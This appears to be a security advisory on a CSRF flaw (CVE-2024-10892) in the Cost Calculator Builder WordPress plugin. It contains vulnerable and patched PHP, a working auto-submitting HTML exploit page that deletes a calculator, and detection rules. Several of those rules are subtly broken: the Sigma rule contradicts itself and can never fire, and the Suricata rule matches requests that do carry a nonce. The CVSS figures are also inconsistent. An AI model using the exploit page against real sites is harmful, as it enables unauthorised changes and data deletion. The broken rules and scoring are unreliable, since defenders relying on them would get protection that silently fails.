CVE-2024-10892

Executive Summary

CVE-2024-10892 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Cost Calculator Builder WordPress plugin, affecting versions prior to 3.2.43. The plugin fails to implement CSRF nonce checks in several AJAX actions, allowing an attacker to trick authenticated users (including administrators) into performing unintended actions without their consent. This can lead to unauthorized modification of calculator settings, data deletion, or other administrative operations. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk if they have not updated to version 3.2.43. No supply chain compromise of the plugin itself has been reported, but the lack of CSRF protection in AJAX endpoints represents a security gap in the plugin's code.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated medium severity based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in and perform an action)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is low due to no direct data exposure or availability impact, the ability to force administrative actions can lead to significant integrity compromise, such as altering pricing calculators or injecting malicious content.

Deep Dive & Mechanics

The vulnerability resides in the AJAX handlers of the Cost Calculator Builder plugin. WordPress AJAX actions typically require a nonce (a one-time token) to verify that the request originated from the legitimate user interface. In versions before 3.2.43, several AJAX endpoints lack this nonce check, making them susceptible to CSRF attacks.

Attack Flow:

1. An attacker crafts a malicious webpage or email containing a hidden form or script that sends a forged AJAX request to the vulnerable WordPress site.
2. The victim, who is authenticated as an administrator or other privileged user, visits the attacker's page.
3. The victim's browser automatically sends the forged request, including their session cookies, to the WordPress site.
4. The plugin processes the request without verifying the nonce, executing the attacker's desired action (e.g., deleting a calculator, changing settings).

Affected AJAX Actions (examples):

• ccb_save_settings
• ccb_delete_calculator
• ccb_duplicate_calculator

These actions allow modification of plugin data without proper authorization checks.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.2.43):

add_action('wp_ajax_ccb_save_settings', 'ccb_save_settings_callback');
function ccb_save_settings_callback() {
    // No nonce verification
    $settings = $_POST['settings'];
    update_option('ccb_settings', $settings);
    wp_die();
}

Patched Code (3.2.43+):

add_action('wp_ajax_ccb_save_settings', 'ccb_save_settings_callback');
function ccb_save_settings_callback() {
    // Nonce verification added
    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'ccb_ajax_nonce')) {
        wp_die('Security check failed.');
    }
    $settings = $_POST['settings'];
    update_option('ccb_settings', $settings);
    wp_die();
}

The patch introduces wp_verify_nonce() to validate the request's origin, preventing CSRF attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Cost Calculator Builder < 3.2.43.
• An authenticated user (e.g., admin) who will visit the attacker's page.

Exploit Steps:

1. Identify the AJAX endpoints lacking CSRF protection (e.g., via source code review or fuzzing).
2. Craft a malicious HTML page that submits a forged request to the target site.

Example Malicious HTML:

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="ccb_delete_calculator">
    <input type="hidden" name="calculator_id" value="1">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

3. Host the page on an attacker-controlled server or send it via email.
4. When the victim visits the page, the form auto-submits, deleting calculator ID 1.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions like ccb_* that lack a nonce parameter.
• Look for referrer headers that do not match the WordPress admin domain.

Defense:

• Immediately update the plugin to version 3.2.43 or later.
• Implement Web Application Firewall (WAF) rules to block requests to AJAX endpoints without a valid nonce.
• Educate users about phishing attacks that could trigger CSRF.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action parameters like ccb_save_settings, ccb_delete_calculator, etc., without a nonce field.
• Logs: WordPress debug logs showing AJAX calls from unexpected referrers.
• File: Presence of malicious HTML files on the server that may have been uploaded via other vulnerabilities.

Detection Engineering

YARA Rule

rule CVE_2024_10892_CSRF {
    meta:
        description = "Detects vulnerable Cost Calculator Builder plugin versions"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10892"
    strings:
        $vuln_func = "add_action('wp_ajax_ccb_" ascii wide nocase
        $nonce_check = "wp_verify_nonce" ascii wide nocase
    condition:
        $vuln_func and not $nonce_check
}

Sigma Rule

title: CVE-2024-10892 - CSRF in Cost Calculator Builder
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects AJAX requests to vulnerable endpoints without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ccb_'
        cs-uri-query|contains: 'nonce'
    condition: selection and not cs-uri-query|contains: 'nonce'
falsepositives:
    - Legitimate plugin updates
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10892 - CSRF in Cost Calculator Builder"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=ccb_"; pcre:"/nonce/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Cost Calculator Builder plugin to version 3.2.43 or higher.
2. If immediate update is not possible, disable the plugin temporarily.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block CSRF attempts.
• Enforce same-origin policy for AJAX requests.
• Regularly audit WordPress plugins for security updates.
• Use security plugins that add CSRF protection to all AJAX endpoints.

Verification:

• After patching, test that AJAX actions now require a nonce by attempting a request without it.

Valters IT
DevSecOps & Cyber Threat Intelligence